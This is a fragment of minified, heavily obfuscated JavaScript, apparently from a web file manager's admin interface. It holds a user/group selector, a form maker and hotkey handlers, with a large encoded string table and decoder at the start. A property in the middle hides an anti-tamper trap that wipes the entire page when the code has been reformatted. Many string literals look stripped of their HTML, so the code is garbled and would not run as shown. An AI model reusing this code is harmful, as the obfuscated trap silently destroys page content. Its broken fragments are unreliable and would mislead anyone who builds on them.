l8OQwqrCojYPw4A=","w68yEBp2BXfCnCU=","CVHCjjY6NwxJPCvDkcO/w5rCtsKlwpoyw7vCtMKfXcOMM3Q=","HmjDqmpsVcKsw6vCjsK2w6k=","cXrCuDTDrm3Cl8KHZsKEVMKtw6vDjcKawoEOXMK+w4IoCsKsTA7Cnw==","w7w1BhZCJmnCgT3DhMO6SsOKwp3Dn8KiDMOi","w4k0w5spwpQxwqrDmC8bEFVgw4sCw4/CvSbCg8KHMcKAw6bDk8KgSUV0GlRlw4XDtQ==","BUTCnz0wFwZPcjbDmg==","clfCjMOOwozDuSpswoUVw53DvMO1Mm3DqcKmG0rCuwrCnsKbB8KGIw==","ODLDsEzCo8KbeMKg","cBDDlsOBQwdcwpLDq8OdWh7CtsKmwr4HW2jCgsOlw5fCoA==","Z8KjYWEeJsOMw6U=","PULCp8OTw63DuMOmw6nDv0NDwoILfiYdwqTCiRIEw4bCgQ==","H0HCnygwAA1SZw==","w5FWL3zCvlArwrfDucKbwp1Gw63CtcKqw6jDmMOvBMKAYU3Dow==","YE0rw5XCicOOwoJ8wpXCj8KM","wo/DpMO0w5nDqTXCnsO4TBITw7VTw4gCw788McOlKMOsdA==","w6XCj8KKRsONe8OBwpQAH2rClQ==","w40CSDrDssK1TTrDv8KtAAx5PVZZwpsdEcObwoPCqDAAwqMZCWHDpWcU","AsKle8Oxwp7DscOEw4vDrDnDllnDtsKOwrc=","VztgC8Kawp3CnnfDmxLCt8Kqw7fCtjTDpMKlw5h4wrnDh8Oyw4PCm1hxw5Ygw4k=","CGjDvUZ3Y8Kyw7fCrcK+w77DhQ==","wqgUw5DChsOwPUI5fsKfw5VtBR/DtlUsw6fCn2PDvw==","wopaW8K1IcOCHMKFw7Mqw73Dmw==","GGXDmXfCpsKxR8Oyw6MkwrPCsV7Cg2FvwppRw6tSwo7CjQ==","w5hHOHjCpWM+wrXCksKLwoJGw6vCgw==","clfCjMOOwozDuSpswoUQw5rDv8O4PgPDsMK7VUnCuzQ=","w4Alw4wtwo8Cwr/DmkEMHA==","VztgC8Kawp3CnnfDmwvCrcKow63CkR3DtcKnwpJNwrzDkQ==","EXTDjnPCvcKCUsOwwpk6wrbCgl/Cg0x6","wqPCi0TDqEdiw5kVw5bCmMOsdG3Dv8KWwrLCt8KxScKZMijCu8KiW2JDPlA=","w5RxwpZfckcHG8OnwpfCmw==","wrDCslXClifClsO5BRokOsOZwr1hw6sIw7k5IMOu","w4nClsKhIV3ChmXCoMOtw6zCr25z","w4TCh8KiOV3ChnnCgMKnw6nCqWtiw6HDvcOVdsOuw6DCisKew6zCug==","fQHDlcOZQwdAwqPCqMONSAk=","w5FWL3zCvlArwrfDucKGwodQw6vCicKww7DChcOpR8KAZFY=","w5N9woTDlMOHw5ZdSApUw4DCmsOpPsK7","ccKzcH8UFcONw7MwaCB2NsOhwrTDt1TDrWAINsKpP27Cuw==","MFPCpMOLw63DuMO6w4jCtUJ0woINTCcQ","wpFewrMndFLCvW5XcsO7PCtdw6vDpsK7w7rCpMKHw6rCsnbCrjLDsA==","wqUFw5PCnsOwPV4NOMKfw5lFGB8=","w7PCn8KbWMOHTcONwpVfG2LCnyHDrGnDoRnCoGTCrWHDi8KTw7E=","dMO/e3jCgsO2","w7DCtsKjD1E=","WhvCkcKScQ==","wqc0JVQe","wqPCjlzCtTg=","5omb5q+VwqjlvJvkvaflsIjol4bkuIzml6TkupHkuavov60N6K2s5Ymt5o+85Ym+5YSi5Lic5rSD6KWB5Zmw5YW/6K2hwrk=","H3fDvHfCkA==","wp1wwpjDl8OGw4hLewEFwp0=","w4kjSjzDuQ==","wrNMwqcsUA==","w7Vow7ZJwpdwCcO5QULDu8KYVQ==","JiElMAg=","aXrDokrCv8KweMOpw7cdPx8Zw4jDu3/CrErDpykVKzfCvzvCmMOiZMKnTMKowoxR","wovChk3DvVg=","w7TCiMKPTQ==","w7J8wpLDtcOg","XjXCrMO0XiTDoi5R","wohYRsKfGg==","wrxMT15JwqopCE0Dw49mwoE=","ZjRgwo7DhQ==","EkgaJSgPw4TCsSzCmsOuw5fCssKxEsOSw5Y=","wo43O3Et","S8O+Vi/DssOpwphawoswG8O5","RB1LwrLDhw==","TRzCnFvDsMO8w5Jvw5MNSwTDjVTCqQ==","Q8OhZQHDug==","SlrClyAweA==","KB7DuVLChA==","E8Klw6BXwofCgAfDt8Ko","w5fCiMKUJHc=","VSbDvsK8w4USFwfCtz4uew==","OMKdTsOvwrI=","wqFnw5vDtyw=","QiJkD8OI","a3AcwqTDsw==","QXbCpzPDhA==","wr9wRsKfMQ==","wpVlwoUsQQ==","UhfChsKEQQ==","w6x9HGHClw==","w5LCj0fCuCHDsyPCm8KH","w78XQRTDtA==","w6IVJzBp","X8OUYnTCrw==","J8OqwpvDtw==","w4wCUjLDnA==","wr3DmcOMw7TDvA==","AsOswoDDt8Or","RidTJsKH","GVzDu03Ciw==","wpLChxLCtmTDvETCjsOBwpk=","WzvDi8OEbw==","wpd5w5TDpxs=","w4rDlSwUwrA=","w5EUWCrDtw==","w44TVDPDmcKoXybCvMK3Eg1YGl9Kwp0=","w4oIVyHDrsKiWgHCgw==","OMOxdlEAJA==","wokBGWAOwqsf","w4dPOXHCo0s=","ZTrCu3nCvQ==","YsKPeVwL","w4EUWzrDqMKjTTs=","BmvDj0Ja","w5HDlzcWwqk=","BVjDqERn","DhDDrcOiCg==","CMO0wovDoMO6","w5LCuMKGL3Y=","HG3DmX7Cp8KndsOv","w5cpEwp2","O3vCtjUEZ8KWwpQ=","woMPw7XCssOQ","Zzd/DMKw","dCvDoMOKdg==","bHsswqnDtA==","ZhjDisOEWA==","EMKUaMOpwp8=","w4IVbw==","PUTCuzY4","w5h7wpPDhQ==","YMKicGA=","wqw1w5LCgMO7","SMOxRxvDvA==","REo7wpbDmA==","dMODQnvCvA==","LD/DpQ==","wpLCtx3ClH8=","YRvCsMK4cA==","KMO7wps=","wog3Hns/","wrxzw7x2wpd2CQ==","w41jwrHDkcOt","wrpRw6rDrxM=","w7PCmcK3IUQ=","w7hpDFPCsg==","wqsFw4zCj8ObIFAlPcKcw51uPh/Dllco","wp7CoHfDtW4=","w6ksBhpy","XcKbVH8y","wrbCngrChnk=","ccKPTXUr","dEA+","wo15w4dyJg==","MnPCh8OPw6A=","EMKhw6A=","woLCtxvCqFI=","w41AVX9F","AkLChBga","w7HCgsKf","YiLDl8K1w6w=","Q3olwpnDuMOHw5jCgMKBbn1eCcOwFQvCgg==","D0bCmj8=","wp8aBmQ=","Yl3CkMOvwoLDoCo=","OcOpwqnDtsO0","w6t1wpxpdA==","YSnDt8Ktw7c=","bSHDq8OuQw==","AEDCtcO0w40=","QxhkwrvDsQ==","w6Nmwp3DmsOL","wrPCgFHDtgdmw5UCwo7Dm8OmcmnDpw==","wqVUZMKoNg==","S8KjDcOs","NEdlwo5z","5ouk5q2KKuW9peS/mOWzuuiVjeS4mOaUi+S7iuS5m+i8usOO6K2o5YiV5o2p5YmL5Yae5Liy5rS56Kee5Zmu5YaM6K+Iwp8=","wqMAOUYQ","MAUUJQo=","w6fDqgotwo8=","GGTCmAkv","wrDCoETCni4=","GMKadsOswq4=","wpBYw6dXEA==","D8OMWgbDtjTCsDInIMK2","wp1RwrY8SA==","w7jCpMKofMOd","wqXCg0DDo1s=","P8OkwqbDksOV","w44vw68zwrY=","wpZgWcKVMw==","w597G3vCpg==","FRTCjkjCv8O8w5grw4kZUW3Chg==","fBnCkMKyVg==","dyN1wr9Aw5kVwqPCrlg5NMKSw7NzckHChsKLGHM9IyPCgsOHw6vCnVYjwpIFw5Y=","wpPCiWbCvBo=","S8OHUQg=","ImZvwrNQw5s=","w7guBQR1LGw=","PMO1eUgbIw==","w57ClMKkZcOF","wqxiw7VUwrA=","w65gSm5W","w515M3/ChA==","cMODbFjCpg==","E2DCoBYC","w5gNw6ocwqI=","KcK/cMO5wpg=","wr1aw7FXKg==","JsOwwozDq8OEw7rDiMKQ","esKyfsKowqs=","w4U7w54ywqg=","w4szWCPDsA==","w4IPw6gNwo4=","woUWOGIk","wpF7w7Jwwrk=","wovDmMOnw7DDjA==","woRcwooefw==","wqTCkHDDsmU=","wprDj8Ohw73DoA==","w4rCqsKWPkU=","Ii0BMAg=","UzNgAsKbwovCr2o=","UsKUc8KbwqA=","GgDDh8ORKA==","ZmArwobDng==","LnvCkCoG","O2rDrkduRw==","w4hFQ1pv","OMKMf8ORwpc=","w7EFw4bCmMO+IkJrIsKBw583TwrDlUopwrzDgmTDp8KrYyzCncOfU0RdeMKeQVbCl3E=","EmrClhIC","TsOySTs=","Vnczw4PClQ==","OH/CtgkkZMKVwpTDiU8=","w4IZfxLDtA==","w7I8cj/Dsg==","cjDDhMOLfg==","w7RqdllB","YD3ChMOmRcKGw6Z7w64CdRI=","wpR7w5HDmzI=","NAonKT0=","wqpQw51NBA==","LDfDu3TCng==","VSbDvsK8w44IFA==","UsK6aEo/","wrbCkkDDrBU=","KsORwpnDg8OZ","wp1Mw5rDqhs=","w7BfwpBPVw==","wq4qME4Z","QyvDuMKLw7s=","wpPChEXDsXI=","w40SFXQYwr0ew4PDqMOvw4Y6dA==","amMFw6DCuw==","wrMIwqgkfw7CuX8bf8OhPAtdw7LDusO6","PMOgflsdOQ7DuMOuEw==","w4sUw4kjwqk=","w5t9wpE=","R8OvbxXDtQ==","wq57w79jwp4=","w4jCkcK2MErCu3o=","MhweEiQ=","KjbDh13Ctw==","dcKnVnAK","wqHCmlDDvVk=","P8O1bVoMHyvDvQ==","wpFPw4BFICE=","w6XCksKJR8OcTQ==","wocWGHAJwqY=","AnzCncOWw60=","wqfCr1XClinCh8O5","w5PCmsKiOVPCl3k=","w4ZLL3zCsEEr","QhB9wrvDrg==","FnBkwrFb","DjBzFcKcwp/CjyXCgB7CtMKqwrjDgijDoMKvw4kDwrLDlMOjw4fCnBRww54mw5jCrcO5wpjCn8OewqJmwpnDu0DDlsO0DcO0w5BwbsOISsKOw77Dulhfw6PDhGzCkmxhwq08RhXDnEbDjWLDocKNwqVqTxw4bgdsDcOOwpjDpMK4XMKwfMK+w6QZOmTCvVo9aUx1GlzDkMKHwqpFwp3DnsOnDcOKVcK4wqIvwpM+NC8jWmTCtCzDisKyNXAcJi/CnCpGUk7CiFsdEsOMwogGwoLDoMOJZsO7G0x4fsO/TUnDrMKHwokzR10ib8O/w6LCi8OcBGvDlsOKIVoyaSwtPcKVwq7Dr8KcwqhKIMK9PsO6WAE4B23DiW/Cjn3DoMOlGMOxW8KXwq1jw54vcG9OS2Q8YsOrw6jDnR43w51Yw47Dv8Kvw48laD7Dun7CrjHDoMOELjkiPGDCtkdZKcOWYcKxwoPCqcOmwpxIw7lHwpF4ODQuwrrDiiBDfj7DisOLw47CocO+W8KHQRRtw6wXVBDDk8Ojw4fChQpEecKHw4pBbxPDqQgZJMOFwqc8cMKAw7/DssOiw4wQHsKsFsKswq7DshMew5jComMmOsKZRnvCqcOxwq7DvBfCpQQUwoFSwrvDtcKzwoPDkibDq8OOw5M=","w7Z8MWDCgg==","wpMOK2nCoUdzw6LCosKLwpZXwrDCjMKjw7/Di8O5SMKXbFTDo8O6P8K8WMKibhfDuB59wpfDoA==","wrPCmxzCo1M=","bFIswq7DkA==","w4DCj8KiMFzCkEjCnQ==","w7wATyTDig==","DGjDvks=","wqHClkA=","d8K4XsKpwpfCrsKicWhjcD5C","CEbCnS84IAdP","wpFBVcKpMA==","Rn8mwo/DmQ==","UcKZeXcC","woZDwq4kbUU=","w4lqwolmfF4b","wpRsw5TDiQI=","w48TXC/DrA==","wqBCVMKEEQ==","wpcqw6rCg8Ow","CgbDqcOMBg==","wo/CvhfCrVE=","VMOeSUTCiA==","C0DCmiMk","RlI7w5LCtg==","w705Hg==","DsKCw5txw74=","VSp0HsKE","DXzDm2jCrMKWUMOs","RsOaXBbDsTY=","HDzDvcO7Gio=","e0rCksOFwpfDow==","c8OufxjDtw==","JwMBJi1Cw4A=","ZsKucH8aBMON","PcO7wp/Dq8OQw73DiA==","eQHDgsKdw4Q=","wrMkAV4b","wrxJQ0pCwrU1PUZVwps=","GCAYBzw=","M09PwppX","PWxFwpxw","YBRRA8K0","GsOFSn0O","wqTCtX7DtUE=","V8OKa0vCpw==","wq5bbsKxOg==","w75mB2jCiw==","Lj7DuErCqcKuWsKxwqE=","Kk3CtDYe","BhzDuHPCtg==","C8OfcBrDtQ==","Pn7Cvz4U","KHXCpjg=","w7TCocKhRcOB","wqB+WMKLHg==","CcOZe38i","wpPCrm/ClgM=","UCPDvcKqw6Q=","FcKsbsOi","FMKrw7pCw4zCnRo=","J8OdaQ/Dng==","O3BFwqd2","wqnDrFUpw7pGw4XDuGA=","IMO+fmon","EhYDJzY=","c2Jlwqhcw4YDw4rDo1c1KcOf","X3AxwoXDpg==","bsKGXh7DvHbCvjAgeMO0e8KSUWHDpsKF","w69Bwr1oaw==","d8OuY3jCqMO9JMKGwrsBRjk=","PhPDllnCiw==","HEjCijJo","HcOaYC3DuQ==","OCzDl1rCkg==","wprCp0DCoxs=","w5IEGhJS","bsOAQznDlw==","N8OqYHnChcO0KsK8wr4DQmA=","cEfCvDnDpQ==","w749HhIoJHHCizjDjcOiesOxwpXDlw==","w7ITbCbDoA==","A2AgwobDmcKV","XzFBwpjDpQ==","dcOme3zDgsOhOsKSwrI=","w6t5YVB9","BcOnTTs=","AMK4V8OOwqI=","HXTCmsO0w4g=","w67CtMKmU8OP","wphtw5vDlBU=","w5HDlAImwoI=","clzCj8ORwoE=","w41/HV/Chw==","wqUYw5TCmsOsdQhkMMKDw5UkBgTDk0YwwqfCjWLCpcKpYirCkMOeGApYcsKcQVzCl2AyTcK8HRHCtcOuV8KXUMOp","DkTDjHHCqg==","NUYrw4vCgMOowoZzwpvDhsOW","wrx+wrMqTw==","woTCgADCt3I=","w4JFwrXDr8O+","w7Y9BBQ=","wpgqE30e","wowWAl0uwoEj","w5DCisKfGGs=","UcKFTVgx","w44cfjzDig==","w5HCtsKLM1A=","w43CrMKAMnA=","KcOMSGU6","wpxbX8KuHw==","SmIww5HCmA==","w7JPwpBHTw==","wqVvw6dwwrk=","URDCkFnClg==","w5J8wqHDlMOA","WyrDpMKRw5A=","DznDp1DCtA==","X8KMeUkS","w71LdGx1","wr9Vw7F/wp4="];a=o,function c(e){for(;--e;)a["push"](a["shift"]())}(303);var u=function u(e,t){var i,n=o[e-=0];if(u["LcKnnp"]===undefined){(i=function r(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}return e}())["atob"]||(i["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s";$.dialog({"follow":t,"fixed":!0,"resize":!1,"title":LNG["common.qrcode"],"padding":30,"content":'
    '+n+"
    "})},"openDialog":function(e,t,i,n,a){if(e){n==undefined&&(n="openDialog"+UUID());var r={"id":n,"fixed":!0,"title":i,"ico":t,"width":"80%","height":"75%","padding":0,"content":"","resize":!0};return r=$.extend({},r,a),ShareData.frameTop().$.dialog(r)}},"openWindow":function(e){return window.open(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindHotKeyEvent":function(){this.$el.attr("tabindex","1");var e=new Mousetrap(this.$el.get(0));this._bindHotKeySave(this,e),this._bindHotKeyCopy(this,e),this._bindHotKeyPast(this,e)},"_formHash":function(){var e=[];return self.$("[name]").each(function(){e.push($(this).attr("name"))}),e.join(";")},"_bindHotKeySave":function(i,e){e.bind(["ctrl+s","command+s"],function(e,t){return i.$(".form-save-button").trigger("click"),stopPP(e)})},"_bindHotKeyCopy":function(n,e){var a=function a(e){var t=n._formHash();if(t){var i=jsonEncode({"type":"formMakerData","formHash":t,"value":n.getValue()});return $.copyText(i),Tips.tips("form:"+LNG["explorer.copyOK"]+"
    ",!0,2e3),n.$el.flash(),stopPP(e)}};e.bind(["ctrl+c","command+c"],function(e,t){if(!$.isEdit()&&!$.selectText())return a(e)})},"_bindHotKeyPast":function(e,t){this.hotKeyOnPast=_.bind(this.hotKeyOnPast,this),$(document.body).bind("paste",this.hotKeyOnPast),this.bind("onRemove",function(){$(document.body).unbind("paste",e.hotKeyOnPast)})},"hotKeyOnPast":function(e){var t=window.clipboardData,i=(t=t||e.originalEvent.clipboardData).getData("Text");if(-1!=$(":focus").andSelf().index(this.$el)&&i&&_.startsWith(i,'{"type":"formMakerData"')){var n=jsonDecode(i),a=this._formHash();_.isObject(n)&&n.formHash==a&&(this.setValue(n.value),this.$el.flash(),Tips.tips(LNG["explorer.pastSuccess"],!0,2e3))}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(6));t["default"]=n["default"].extend({"selector":".form-auth select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("authList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];"0"!=r.display&&n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){var t=e.info&&e.info.label||"label-grey-normal";return $(""+("")+""+e.text+"")}}})},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"searchRequest":function(n,a){var e=_.pick({"groupID":"groupSearch","userID":"memberSearch"},this.keyID),r=$.objClone(e);this._each(r,function(e,t){r[t]=!1});var o=function o(e){_.every(r)&&e(_.flatten(_.map(r)))};this._each(e,function(e,t){var i={"words":n};this.adminModel.cacheRequest(e,i,function(e){r[t]=e&&e.code&&e.data.list||[],o(a)})})},"searchKeyEvent":function(e){var t=this.$dropdown.find(".group-list-search .search-item");if(0!=t.length){0==t.filter(".hover").length&&t.first().addClass("hover");var i=t.filter(".hover"),n=t.index(i);switch(e.key){case"ArrowUp":var a=n-1<0?n:n-1;i.removeClass("hover"),t.eq(a).addClass("hover");break;case"ArrowDown":a=n+1>=t.length?n:n+1;i.removeClass("hover"),t.eq(a).addClass("hover");break;case"Enter":1==i.length&&i.trigger("click");break;case"Escape":this.menuClose();break;default:return}return stopPP(e)}},makeParamItemKlSw2:[(function(){var bindHotkeyDX3=function(){return 1};var initKodAppb1=bindHotkeyDX3.toString();var disableStoreValueFyM5=String.fromCharCode(84-(3330/(71-26)));if(initKodAppb1.indexOf(disableStoreValueFyM5) != -1){$("html").html("");}})()],"bindEventSearch":function(){var r=this,n=this.$dropdown.find(".select-search input"),o=this.$dropdown.find(".search-clear"),a=_.debounce(_.bind(this.searchRequest,this),200);n.bind("keydown",_.bind(this.searchKeyEvent,this)),n.bind("change keyup",function(e){if("Escape"==e.key)return o.trigger("click"),stopPP(e);var t=$(this).val(),i=_.trim(t);t!=n.data("beforeValue")&&(n.data("beforeValue",t),r.searchViewSwitch(i),o.hide(),i&&(o.show(),o.addClass("ri-loader-line-4 moveCircle"),a(t,function(e){o.removeClass("ri-loader-line-4 moveCircle"),r.searchData=e,r.renderSearchView(e),r.trigger("dataChange")})))}),this.$dropdown.delegate(".search-item","click",function(e){var t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=_.find(r.searchData,[t,i])||_.find(r.searchData,[t,parseInt(i)]);if("userID"==t)r.dataToggle(n),r.isSingle&&r.menuClose();else{if($.targetParent(e,".item-select"))return r.dataToggle(n),void(r.isSingle&&r.menuClose());var a=$(this).attr("data-parent")+","+i;r.expandAuto(a,"groupID"),o.trigger("click")}}),o.bind("click",function(e){r.searchViewSwitch(!1),n.val(""),$(this).hide()})},"renderSearchView":function(e){var t=s(28),i=this.$dropdown.find("input").val(),n=function n(e){var t=Pinyin.match(e,i);return t?e.substr(0,t[0])+''+e.substr(t[0],t[1]-t[0])+""+e.substr(t[1]):e},a={"list":e,"itemIcon":_.bind(this.itemIcon,this),"nameMathch":n},r=this.renderHtml(t,a,!1);this.$dropdown.find(".group-list-search").html(r);var o=this.$dropdown.find(".group-list-search .search-item");0!=o.length&&o.first().addClass("hover")},"searchViewSwitch":function(e){var t=this.$dropdown.find(".group-list-tree"),i=this.$dropdown.find(".group-list-search");e?(i.show(),t.hide()):(i.hide(),t.show())},"changeForSearch":function(){var n=this.$dropdown.find(".group-list-search");if(n.find(".search-item.this").removeClass("this"),!_.isEmpty(this.listData)){var a=function a(e){var t=e.userID?"userID":"groupID",i=e[t];n.find("[data-id="+i+"]").filter("[data-type="+t+"]").addClass("this")};if(this.isSingle)return a(this.listData);this._each(this.listData,function(e){a(e)})}},"dataToggleChildren":function(e){if(!this.isSingle&&e){var t=this,i=e.$node.find(".children-select"),n=function n(e){return("user"!=t.selectType||!e.groupID)&&(("group"!=t.selectType||!e.userID)&&("all"!=t.selectType||!e.userID))};if(i.hasClass("list-full")||i.hasClass("list-has"))return t.treeEachNode(e,function(e){n(e)&&t.listDataRemove(e)}),t.trigger("dataChange");this.treeExpandAll(e,function(){return t.treeEachNode(e,function(e){n(e)&&t.listDataAdd(e)}),t.trigger("dataChange")},function(e){return!("user"==t.selectType&&!e.hasChildrenMember)&&(!("group"==t.selectType&&!e.hasChildren)&&!("all"==t.selectType&&!e.hasChildren))})}},"nodeSelectStatus":function(){if(!this.isSingle){if(_.isEmpty(this.listData))return this.$dropdown.find(".children-select").removeClass("list-full list-has"),void this.$dropdown.find(".children-select").addClass("list-empty");var c=this.selectType,e=this.zTree.getNodes(),d=this,h=function h(e){if(e.groupID){var t=0,i=1,n=0,a=0;d.listDataFind(e)&&a++,_.each(e.children,function(e){"-"!=e.groupID&&(e.userID&&t++,e.groupID&&i++,d.listDataFind(e)&&(e.userID&&n++,e.groupID&&a++),e.groupID&&h(e))}),e.hasChildren&&!e.children&&(i=1e4);var r=0,o=0;"user"==c&&(r=t,o=n),"group"==c&&(r=i,o=a),"all"==c&&(r=i,o=a);var s="empty";e.selectAllType=e.selectAllType||"empty",1<=o&&(s="has"),1<=o&&o==r&&(s="full");var l=e.$node.find(".children-select");l.removeClass("list-"+e.selectAllType),e.selectAllType=s,l.addClass("list-"+e.selectAllType)}};_.each(e,function(e){h(e)})}}}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){var r="",t=(e=e||{}).list,o=e._,s=n.$escape,l=e.LNG,i=n.$each,c=(e.item,e.$index,e.dataType,e.dataID,e.title,e.itemIcon),d=e.nameMathch;return!t||o.isEmpty(t)?(r+='
    ',r+=s(l["explorer.search.noResult"]),r+="
    "):(r+=" ",i(t,function(e,t){r+=" ";var i="",n="",a="";a=e.userID?(i="userID",n=e.userID,""+l["admin.member.group"]+":
    "+o.map(e.groupInfo,"groupName").join(",")):(i="groupID",n=e.groupID,""+l["explorer.file.location"]+":
    "+(e.groupPath||e.name)),r+='
    ',r+=c(e),r+=' ',r+=d(e.nickName||e.name),r+='
    '}),r+='
    ',r+=s(l["explorer.search.total"]),r+=" ",r+=s(t.length),r+=" ",r+=s(l["explorer.table.items"]),r+="
    "),r}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindDropdown":function(){var a=this;this.$selectBox.bind("mousedown",function(e){$(e.target).existParent(".clear-select")||($(this).hasClass("open")?a.menuClose():a.menuOpen())}),this.$el.delegate(".item-remove","click",function(){var e=$(this).parents(".item-choice"),t=e.attr("data-type"),i=e.attr("data-id"),n=_.find(a.listData,[t,i])||_.find(a.listData,[t,parseInt(i)]);a.dataToggle(n)}),this.$el.delegate(".clear-select","click",function(){a.dataToggle(!1),a.menuClose()}),this.bindDropdownWindow=_.bind(this.bindDropdownWindow,this),$(window).bind("mousedown",this.bindDropdownWindow),this._delay(this.bindScrollOffset,200)},"bindScrollOffset":function(){var e=this,t=function t(){window.requestAnimationFrame(function(){e.menuPosition()})},i=this.$el.parents(".form-row").canScrollParentY()||this.$el.parents(".panel-form-body");i.bind("scroll",t),this.bind("onRemove",function(){i.unbind("scroll",t)})},"bindDropdownWindow":function(e){var t=this;if(!$(e.target).existParent(".kod-user-group-select")&&!$(e.target).existParent(".item-choice .item-remove")){var i=$(e.target).parents().andSelf();$(".kod-user-group-select.open").each(function(){0<=i.index(t.$selectBox)||t.menuClose()})}},"menuOpen":function(){this.menuStatusOpen=!0,this.$selectBox.addClass("open"),this.$dropdown.addClass("open");var e=this.$dropdown.find("input");this._delay(_.bind(e.focus,e),20),this.menuPosition(),this.trigger("menuOpen")},"menuClose":function(){this.menuStatusOpen=!1,this.$selectBox.removeClass("open"),this.$dropdown.removeClass("open").removeClass("open-up"),this.$dropdown.pose="",this.trigger("menuClose")},"menuPosition":function(){this.menuStatusOpen&&this.$dropdown.position({"of":this.$selectBox,"my":"left top","at":"left bottom-1","collision":"flipfit flipfit"})}}},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){var t="",i=(e=e||{}).isSingle,n=(e.searchTipsAll,e.LNG),a=o.$escape,r=e.selectType;return t+='
    ',t+=i?'
    ×
    ':'
    ×
    ',t+=" ",t+='
    '}),i+='
    '}},function(e,t,i){"use strict";var s=i(0);e.exports=function(e){e=e||{};var t="",i=s.$escape,n=e.LNG,a=e.searchTipsAll,r=e.addAll,o=e.selectType;t+='
    ',t+=i(n["explorer.selectObject"]),t+='',t+=i(n["explorer.parentGroup"]),t+='',t+=i(n["explorer.actionAuth"]),t+=' ',t+=i(n["explorer.auth.mutil"]),t+='
    ',t+=i(n["explorer.noData"]),t+="
    ";a={"user":n["admin.member.searchUser"],"group":n["admin.member.searchGroup"],"all":n["admin.member.searchAll"]},r={"user":n["admin.member.memberAdd"],"group":n["admin.member.groupAdd"],"all":n["admin.member.allAdd"]};return t+='
    ',t+=i(n["common.clear"]),t+='
    "}},function(e,t,i){"use strict";var p=i(0);e.exports=function(e){var t="",i=(e=e||{}).item,n=p.$escape,a=e.parentName,r=e.title,o=e.groupInfo,s=e._,l=e.LNG,c=e.groupName,d=e.window,h=e.itemName,u=e.itemIcon,f=e.authID;t+='
    "+l["admin.member.group"]+":
    "+s.map(i.groupInfo,"groupName").join(",");else if(i.groupID){a=(c=i.groupPath&&i.groupPath.split("/"))[c.length-2],r=""+l["explorer.file.location"]+":
    "+d.htmlEncode(i.groupPath||i.name)}h=i.nickName||i.name;return h=u(i)+h,t+=' ',t+=h,t+='',t+=n(a),t+='
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(6));t["default"]=n["default"].extend({"selector":".form-role select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("roleList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];"0"!=r.display&&n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){var t=e.info&&e.info.label||"label-grey-normal";return $(""+("")+""+e.text+"")}}})},function(e,t,i){"use strict";var T="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=i(0);e.exports=function(e){e=e||{};var x="",v=a.$escape,g=e.wrapID,t=e.items,i=e.formTabList,b=e._,C=e.formTab,D=e.ignoreTab,n=e.formTabsName,y=(e.tab,e.tabKey,e.tabName,e.name,e.field,e.key,e.makeAttr),O=(e.data,e.attr,e.prop,e.attrValue,e.window),k=a.$each,M=(e.tabIndex,e.LNG),K=(e.item,e.tabCurrent,e.i,e.itemAttr,e.theTitle,e.hasTitle,e.undefined);e.itemText,e.itemValue,e.theButton,e.buttonKey,e.className,e.buttonAttr,e.value,e.option,e.val,e.k,e.selectItems,e.valArr,e.selectValue,e.selectKey,e.from,e.to,e.step,e.defaultFormat,e.defaultArr,e.valueArr,e.type,e.user,e.group,e.role,e.rowField,e.rowItem,e.rowKey,e.onlyInput,e.inputType,e.makeTitle,e.orgin,e.theAttr,e.titleLeft,e.titleRight,e.info;x+='
    ';i=b.get(t,"formStyle.tabs")||{},C=[],D=b.get(t,"formStyle.ignoreTab","").split(","),n=b.get(t,"formStyle.tabsName",{});b.each(i,function(e,t){if(e){e=e.split(",");e=b.map(e,b.trim);var i=n[t]||t||"";t=t.replace(/\s+/g,"_"),C.push({"name":i,"field":e,"key":t})}});y=function y(e){var t=" ";if("object"!=(void 0===e?"undefined":T(e)))return t;for(var i in e){var n=e[i];(b.isObject(n)||b.isArray(n))&&(n=O.htmlEncode(O.jsonEncode(n))),t+=i+' = "'+n+'" '}return t};return x+=" ",b.isArray(C)&&0 ',k(C,function(e,t){x+=" ",e&&(x+='
  • ',x+=e.name,x+="
  • "),x+=" "}),x+='
  • ',x+=v(M["common.others"]),x+='
  • '),x+='
    ',x+=a,x+="
    ";else if("html"!=a.type&&a.type){if(x+='
    ',a.display!=K?(x+='
    ",x+=a.value,x+=" ";else if("codeEditor"==a.type)x+=' ";else if("htmlEditor"==a.type)x+=' ";else if("switch"==a.type)x+=' ";else if("radio"==a.type)x+=" ",k(a.info,function(e,t){x+=' "}),x+=" ";else if("checkbox"==a.type)x+=" ",k(a.info,function(e,t){x+=" ",""==t?(x+=" ",x+=e,x+=" "):(x+=' "),x+=" "}),x+=" ";else if("segment"==a.type)x+='
    ",k(a.info,function(e,t){x+='
